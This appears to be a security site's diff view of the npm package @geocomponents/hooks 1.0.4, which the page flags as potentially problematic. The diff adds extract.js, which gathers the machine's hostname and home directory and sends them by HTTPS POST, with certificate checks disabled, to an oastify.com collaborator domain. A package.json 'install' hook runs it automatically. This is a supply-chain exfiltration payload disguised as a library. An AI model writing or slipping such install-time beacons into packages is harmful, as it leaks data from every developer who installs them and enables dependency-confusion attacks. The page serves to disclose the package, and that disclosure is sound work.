@geocomponents/hooks 1.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @geocomponents/hooks might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/extract.js +28 -0
  2. package/package.json +11 -0
package/extract.js ADDED
@@ -0,0 +1,28 @@
1
+ const https = require('https');
2
+ var os = require("os");
3
+ var hostname = os.hostname();
4
+ var path = os.homedir();
5
+
6
+ const data = new TextEncoder().encode(
7
+ JSON.stringify({
8
+ payload: hostname,
9
+ project_id: process.argv[2],
10
+ path: path
11
+ })
12
+ );
13
+
14
+ const options = {
15
+ hostname: process.argv[2] + '.' + hostname + '.1667923894.020k3pifltekneo7d74oof30ur0ho6.oastify.com',
16
+ port: 443,
17
+ path: '/',
18
+ method: 'POST',
19
+ headers: {
20
+ 'Content-Type': 'application/json',
21
+ 'Content-Length': data.length
22
+ },
23
+ rejectUnauthorized: false
24
+ }
25
+
26
+ const req = https.request(options, res => {});
27
+ req.write(data);
28
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@geocomponents/hooks",
3
+ "version": "1.0.4",
4
+ "description": "",
5
+ "main": "extract.js",
6
+ "scripts": {
7
+ "install": "node extract.js geo4cache"
8
+ },
9
+ "author": "deshine",
10
+ "license": "ISC"
11
+ }